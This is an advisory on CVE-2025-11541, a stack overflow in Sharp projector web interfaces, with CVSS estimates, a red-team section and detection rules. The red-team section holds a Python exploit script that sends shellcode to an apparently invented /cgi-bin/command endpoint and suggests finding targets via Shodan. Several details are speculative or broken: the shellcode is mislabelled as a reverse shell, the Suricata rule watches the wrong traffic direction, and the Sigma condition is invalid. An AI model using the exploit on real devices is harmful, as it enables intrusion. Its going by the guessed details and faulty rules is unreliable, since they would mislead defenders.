CVE-2025-11541

Executive Summary

CVE-2025-11541 is a critical stack-based buffer overflow vulnerability identified in Sharp Display Solutions projectors. The flaw allows an unauthenticated attacker to execute arbitrary commands and programs on the affected device by sending a specially crafted request to the projector's web interface. This could lead to full device compromise, network pivoting, and potential disruption of display operations in enterprise or public environments.

The vulnerability resides in the projector's HTTP server component, where user-supplied input is not properly validated before being copied into a fixed-size stack buffer. An attacker can overflow this buffer, overwriting the return address and gaining control of the instruction pointer to execute arbitrary shellcode.

Given the lack of a CVSS vector and patch status, this vulnerability poses a significant risk, especially in environments where Sharp projectors are exposed to untrusted networks. No public proof-of-concept (PoC) or exploit code is currently available, but the technical details suggest a high likelihood of weaponization.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in Sharp Display Solutions projectors.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and typical characteristics of stack-based buffer overflows in embedded devices, the following is a reasonable assessment:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the target.
• Confidentiality (C): High (H) – arbitrary code execution can lead to data exfiltration.
• Integrity (I): High (H) – attacker can modify device behavior.
• Availability (A): High (H) – attacker can crash or disable the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable with no authentication, and successful exploitation grants full control over the projector.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the HTTP server handling of Sharp Display Solutions projectors. The projector's web interface likely processes user-supplied parameters (e.g., in HTTP POST requests or URL query strings) without proper bounds checking. When a parameter exceeds the allocated stack buffer size, it overwrites adjacent memory, including the saved return address.

Attack Vector:

1. An attacker sends a crafted HTTP request to the projector's management interface (typically on port 80 or 443).
2. The request contains a payload that exceeds the buffer size, overflowing the stack.
3. The overflow overwrites the return address with a pointer to attacker-controlled shellcode.
4. Upon function return, execution jumps to the shellcode, granting arbitrary command execution.

Impact:

• Full device compromise.
• Ability to install persistent backdoors.
• Network reconnaissance and lateral movement.
• Disruption of display services (e.g., in conference rooms, digital signage).

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical vulnerable code snippet is provided for analysis.

Vulnerable Code (C):

void handle_request(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds checking
    // Process buffer...
}

Patched Code (C):

void handle_request(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

The vulnerable code uses strcpy, which does not check the length of the source string. The patched version uses strncpy with a size limit, preventing overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Sharp Display Solutions projector (firmware version unknown).
• Attacker: Kali Linux with Metasploit and custom exploit tools.

Exploitation Steps:

1. Identify the projector's IP address (e.g., via Shodan or network scan).
2. Send a crafted HTTP request with a payload that triggers the buffer overflow.
3. Use a return-oriented programming (ROP) chain or direct shellcode injection to execute commands.

Example Payload (Python):

import socket

target_ip = "192.168.1.100"
port = 80

# Shellcode to spawn a reverse shell (example)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Overflow buffer: 256 bytes + saved EBP + return address
payload = b"A" * 260 + b"\x90" * 16 + shellcode

http_request = f"POST /cgi-bin/command HTTP/1.1\r\nHost: {target_ip}\r\nContent-Length: {len(payload)}\r\n\r\n".encode() + payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, port))
s.send(http_request)
s.close()

Note: This is a conceptual example. Actual exploitation requires precise offset calculation and may involve ASLR/DEP bypass.

Blue Team (Defensive)

Detection:

• Monitor for unusually long HTTP requests to projector management interfaces.
• Deploy network intrusion detection systems (NIDS) to flag buffer overflow patterns.
• Use endpoint detection and response (EDR) on the network to identify anomalous projector behavior.

Mitigation:

• Isolate projectors on a separate VLAN with strict access controls.
• Disable remote management if not required.
• Apply vendor patches as soon as they become available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with payloads exceeding 256 bytes to the projector's web interface.
  • Unusual outbound connections from the projector (e.g., to unknown IPs on port 4444).
  • Repeated connection attempts to the projector from external IPs.

• Host IOCs:

  • Unexpected processes running on the projector (if accessible).
  • Modified firmware or configuration files.
  • Presence of shellcode in memory (detectable via memory forensics).

• File IOCs:

  • No specific file hashes available.

Detection Engineering

YARA Rule

rule CVE_2025_11541_Sharp_Projector_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-11541 in Sharp projectors"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11541"
    strings:
        $s1 = "POST /cgi-bin/command" ascii wide nocase
        $s2 = "Content-Length:" ascii wide
        $overflow = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // 16 A's
    condition:
        $s1 and $s2 and #overflow > 10
}

Sigma Rule

title: Sharp Projector Buffer Overflow Attempt
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with excessive payload length targeting Sharp projectors
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/command'
        sc-bytes: '>256'
    condition: selection
falsepositives:
    - Legitimate large requests (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-11541 Sharp Projector Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/command"; http_uri;
    content:"Content-Length|3a|"; http_header;
    pcre:"/Content-Length:\s*\d{4,}/";
    sid:1000001;
    rev:1;
    reference:cve,2025-11541;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected projectors from untrusted networks (e.g., place them on a management VLAN with strict firewall rules).
2. Disable remote web management if not essential for operations.
3. Monitor network traffic for anomalous HTTP requests to projector IPs.

Long-term Fixes:

• Apply vendor firmware updates as soon as they are released.
• Implement network segmentation to limit exposure.
• Use web application firewalls (WAF) to filter oversized requests.

Workarounds:

• If patching is not possible, restrict access to the projector's web interface via IP whitelisting or VPN.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert